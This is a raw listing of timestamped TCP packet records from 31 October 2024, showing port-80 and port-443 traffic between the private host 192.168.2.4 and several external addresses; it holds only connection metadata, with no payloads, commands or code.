Oct 31, 2024 23:38:21.176841974 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.176842928 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.176852942 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.176862955 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.176871061 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.176883936 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.176906109 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.177000046 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.177012920 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.177027941 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.177042961 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.177050114 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.177057028 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.177067041 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.177088976 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.177102089 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.187001944 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:21.187349081 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:21.188225985 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:21.193206072 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:21.211113930 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211129904 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211141109 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211148977 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211157084 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211163998 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211173058 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211262941 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211268902 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211278915 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211296082 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211318970 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211334944 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211350918 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211365938 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211383104 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211400032 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211416006 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211429119 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211429119 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211429119 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211429119 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211429119 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211429119 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211429119 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211442947 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211463928 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211492062 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211507082 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211533070 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211561918 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211610079 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211633921 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211648941 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211662054 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211672068 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211677074 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211693048 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211704016 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211713076 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211719036 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211729050 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211750031 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211756945 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211766958 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211772919 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211782932 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211801052 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211822033 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211848974 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211848974 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211864948 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211879969 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211894989 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211909056 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211914062 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211925030 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211960077 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211960077 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211973906 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.211978912 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.211993933 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212009907 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212023020 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212023973 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212033033 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212040901 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212057114 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212057114 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212064028 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212073088 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212079048 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212090015 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212100983 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212119102 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212125063 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212284088 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212300062 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212315083 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212337971 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212337971 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212354898 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212362051 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212371111 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212387085 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212394953 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212402105 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212409973 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212419033 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212435007 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212441921 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212450981 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212466955 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212467909 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212490082 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212512016 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212698936 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212716103 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212730885 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212739944 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212749004 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.212764978 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212770939 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.212790012 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.213701963 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.213716984 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.213731050 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:21.213754892 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.213783026 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:21.381701946 CET	443	49877	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:21.381812096 CET	443	49877	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:21.381896973 CET	49877	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:21.381925106 CET	49877	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:21.485272884 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:21.485475063 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:21.485650063 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:21.485721111 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:21.550457954 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:21.555546999 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:21.830945015 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:21.831012011 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:21.831027985 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:21.831190109 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:21.831190109 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:21.831453085 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:21.831468105 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:21.831482887 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:21.831495047 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:21.831511021 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:21.831518888 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:21.831547976 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:22.022856951 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:22.028121948 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:22.302573919 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:22.302637100 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:22.393471003 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:22.393517971 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:22.398755074 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:22.398786068 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:22.398798943 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:22.398962975 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:22.398976088 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:22.398988008 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.184334993 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.184391975 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.465312958 CET	49896	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:23.465342045 CET	443	49896	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:23.465694904 CET	49896	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:23.466006994 CET	49896	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:23.466022968 CET	443	49896	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:23.471359968 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.476381063 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.480923891 CET	49864	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:23.481164932 CET	49897	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:23.486321926 CET	80	49897	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:23.486377001 CET	49897	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:23.486495018 CET	49897	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:23.486856937 CET	80	49864	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:23.486938000 CET	49864	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:23.491398096 CET	80	49897	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:23.751526117 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.751544952 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.751560926 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.751584053 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.751600981 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.751693964 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.751710892 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.751735926 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.751768112 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.751930952 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.751946926 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.751962900 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.751986980 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.752015114 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.752039909 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.752055883 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.752094984 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.752752066 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.752804995 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.904803038 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.904859066 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.905052900 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.905103922 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.905189037 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.905205011 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.905221939 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.905237913 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.905251026 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.905288935 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.905575991 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.905591011 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.905606985 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.905622005 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.905632973 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.905638933 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.905661106 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.905682087 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.906358004 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.906397104 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.906402111 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.906414032 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.906450033 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.906641006 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.906656981 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.906691074 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.906713963 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.907227993 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.907244921 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.907289982 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.907337904 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.907354116 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.907370090 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.907381058 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.907392025 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.907413006 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.908229113 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.908279896 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.908298969 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.908314943 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:23.908339024 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:23.908349037 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.058520079 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.058659077 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.058681965 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.058795929 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.058815002 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.058815002 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.058816910 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.058834076 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.058850050 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.058862925 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.058866978 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.058870077 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.058885098 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.058892012 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.058904886 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.058923006 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.059286118 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.059302092 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.059326887 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.059343100 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.059344053 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.059360027 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.059376001 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.059379101 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.059391022 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.059392929 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.059417963 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.059437037 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.059463024 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.059499025 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.060177088 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.060215950 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.061053038 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.061069012 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.061084032 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.061098099 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.061109066 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.061131954 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.061358929 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.061373949 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.061398983 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.061409950 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.061729908 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.061744928 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.061759949 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.061783075 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.061784029 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.061800957 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.061815023 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.061817884 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.061841011 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.061841965 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.061866045 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.061888933 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.062009096 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.062048912 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.062261105 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.062274933 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.062290907 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.062302113 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.062314034 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.062333107 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.062333107 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.062349081 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.062364101 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.062374115 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.062380075 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.062388897 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.062396049 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.062501907 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.062530041 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.063111067 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.063292027 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.063334942 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.063388109 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.063402891 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.063417912 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.063427925 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.063432932 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.063441038 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.063450098 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.063462019 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.063467979 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.063476086 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.063488960 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.063508034 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.063575029 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.063615084 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:24.076637983 CET	443	49896	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:24.076723099 CET	49896	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:24.094448090 CET	49896	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:24.094459057 CET	443	49896	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:24.094686985 CET	443	49896	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:24.095879078 CET	49896	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:24.096134901 CET	49896	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:24.096139908 CET	443	49896	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:24.211745024 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.211761951 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:24.211777925 CET	80	49876	185.215.113.206	192.168.2.4
